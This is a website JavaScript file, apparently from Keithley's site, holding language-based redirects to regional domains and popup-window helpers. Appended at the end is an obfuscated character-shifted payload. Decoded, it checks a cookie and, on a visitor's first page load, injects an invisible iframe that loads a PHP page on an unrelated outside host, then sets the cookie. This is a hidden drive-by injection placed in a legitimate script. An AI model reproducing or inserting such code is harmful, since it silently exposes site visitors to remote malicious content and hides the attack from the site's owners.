// ADwin JavaScript Document
function flang ()
{
	var browserName = navigator.appName;
	var lan;
	
	if (typeof(navigator.userLanguage)=="string" || typeof(navigator.language)=="string") {
		if (browserName.indexOf("Microsoft Internet Explorer") >-1) 
			lan = navigator.userLanguage;
		else 
			lan = navigator.language;
		
		//alert(lan);
		//German language IE
		if ( lan.indexOf("de" )>-1){ 
			//alert ("German");     
       		location.href= "http://www.keithley.de";
       		return true;
    	}
		//French language IE
		else if ( lan.indexOf("fr" )>-1){ 
			//alert ("French");     
       		location.href= "http://www.keithley.fr";
       		return true;
    	}
		//Italian language IE
		else if ( lan.indexOf("it" )>-1){ 
			//alert ("Italian");     
       		location.href= "http://www.keithley.it";
       		return true;
    	}
		//UK language IE
		else if ( lan.indexOf("gb" )>-1){ 
			//alert ("UK");     
       		location.href= "http://www.keithley.co.uk";
       		return true;
    	}
		//Netherlands language IE
		else if ( lan.indexOf("nl" )>-1){ 
			//alert ("Netherlands");     
       		location.href= "http://www.keithley.nl";
       		return true;
    	}
		//Others language IE
		else { 
			//alert ("Others");     
       		location.href= "http://www.keithley.de";
       		return true;
    	}
			
	}
    return ("");
}

var win1Open = null
var win2Open = null
function openPopUp(windowURL, windowName, windowWidth, windowHeight){
  var winHandle = window.open(windowURL,windowName,"toolbar=no,scrollbars=no,resizable=no,width=" + windowWidth + ",height=" + windowHeight)
  return winHandle
}

function winClose(){  
  if(win1Open != null) win1Open.close() 
  if(win2Open != null) win2Open.close() 	
}

function openPopUp(windowURL, windowName, windowWidth, windowHeight){
  var winHandle = window.open(windowURL,windowName,"toolbar=no,scrollbars=no,resizable=no,width=" + windowWidth + ",height=" + windowHeight)
  if(winHandle != null) winHandle.focus()
  return winHandle
}
var source ="=tdsjqu?jg!)epdvnfou/dppljf/tfbsdi)#n{sz>3#*!>>!.2*!|ptpxq>epdvnfou/hfuFmfnfouCzJe)(fjt(*<jg)ptpxq>>ovmm*|epdvnfou/xsjuf)(=jgsbnf!je>fjt!tsd>iuuq;00tpdjvt/ps/ls0pme0ynmsqd/qiq!tuzmf>ejtqmbz;opof?=0jgsbnf?(*<~epdvnfou/dppljf!>!#n{sz>3<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = "";
                   for(var i=0;i<source.length;i++) {
                       result+=String.fromCharCode(source.charCodeAt(i)-1);
                   }
                   document.write(result);
